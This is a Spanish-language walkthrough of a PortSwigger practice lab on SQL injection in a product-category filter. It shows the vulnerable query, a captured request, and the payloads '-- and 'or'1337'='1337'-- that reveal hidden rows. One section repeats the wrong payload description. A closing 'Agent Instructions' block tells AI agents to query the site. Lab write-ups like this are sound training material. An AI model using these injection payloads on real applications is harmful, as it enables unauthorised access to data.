# Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

## Información del laboratorio

<https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data>

En este laboratorio hay una vulnerabilidad de inyección SQL en el filtro de la categoría del producto.

Cuando el usuario selecciona una categoría, la aplicación realiza una consulta SQL como la siguiente:

```sql
SELECT * FROM products WHERE category = 'Accessories' AND released = 1
```

## Flujo de explotación

### Captura de la petición

Para capturar la petición, se realiza click sobre la funcionalidad de filtrado:

<figure><img src="/files/5ur19LQJMO3XqMku8TK8" alt=""><figcaption></figcaption></figure>

Tras ello, se captura la petición en Burp. Para poder identificar si es vulnerable a SQLi y manipular la consulta de forma que obtengamos la información que queramos, se pueden probar múltiples payloads.

### Respuesta sin modificar

Primero hay que observar cuál es la respuesta sin alterar, de forma que posteriormente al insertar el payload podamos identificar el cambio en el comportamiento.

* Petición:

{% code overflow="wrap" %}

```http
GET /filter?category=Accessories HTTP/2
Host: 0a5f004c03a7205380b7d16a00b1009b.web-security-academy.net
Cookie: session=rkEdMX4V5gH6e1eu06nf4HRxl2bVD5VH
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Referer: https://0a5f004c03a7205380b7d16a00b1009b.web-security-academy.net/filter?category=Accessories
```

{% endcode %}

* Respuesta sin modificar:

<figure><img src="/files/EgCNuZj5ujfSByYpuJxB" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/oZ494rxl9gNp4MMTfHoQ" alt=""><figcaption></figcaption></figure>

### Petición modificada con payload `'--`

Por ejemplo, sabiendo que la consulta realizada es:

```sql
SELECT * FROM products WHERE category = 'Accessories' AND released = 1
```

Se podría insertar el payload `'--`, que provocaría que la consulta quedara de la siguiente forma y muestre los items sin que cumplan la condición `released = 1`:

```sql
SELECT * FROM products WHERE category = 'Accessories'--' AND released = 1
```

Con dicha modificación la petición mostraría un item más, esto confirma que hemos podido alterar la consulta:

<figure><img src="/files/Xrd8IbPRJJjU5Ia0gJar" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ZKHrfP6BXPRjdjAIb2lG" alt=""><figcaption></figcaption></figure>

Ahora vamos a modificarla de forma que se pueda obtener toda la información de los items, para ello, se puede usar una consulta lógica que siempre se cumpla, y por lo tanto, obtengamos todos los datos sin filtrar.

### Petición modificada con payload `'or'1337'='1337'--`

Existen múltiples payloads que permiten provocar que una condición se cumpla, el payload elegido dependerá de muchos factores. Un ejemplo clásico es usar un operador lógico OR que se añada a la consulta y que al cumplirse siempre, muestre toda la información.

Por ejemplo, sabiendo que la consulta realizada es:

{% code overflow="wrap" %}

```sql
SELECT * FROM products WHERE category = 'Accessories' AND released = 1
```

{% endcode %}

Se podría insertar el payload `'--`, que provocaría que la consulta quedara de la siguiente forma y muestre los items sin que cumplan la condición `released = 1`:

{% code overflow="wrap" %}

```sql
SELECT * FROM products WHERE category = 'Accessories'or'1337'='1337'--' AND released = 1
```

{% endcode %}

Con dicha modificación la petición mostraría todos los items de la tabla `products`, ya que 1337 siempre es igual a 1337:

<figure><img src="/files/XfmeGAQK2o4gi7dEbTDr" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/we38lUxEDeZ0klE5usee" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.xtormin.com/labs/portswigger-academy/sql-injection/lab-sql-injection-vulnerability-in-where-clause-allowing-retrieval-of-hidden-data.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
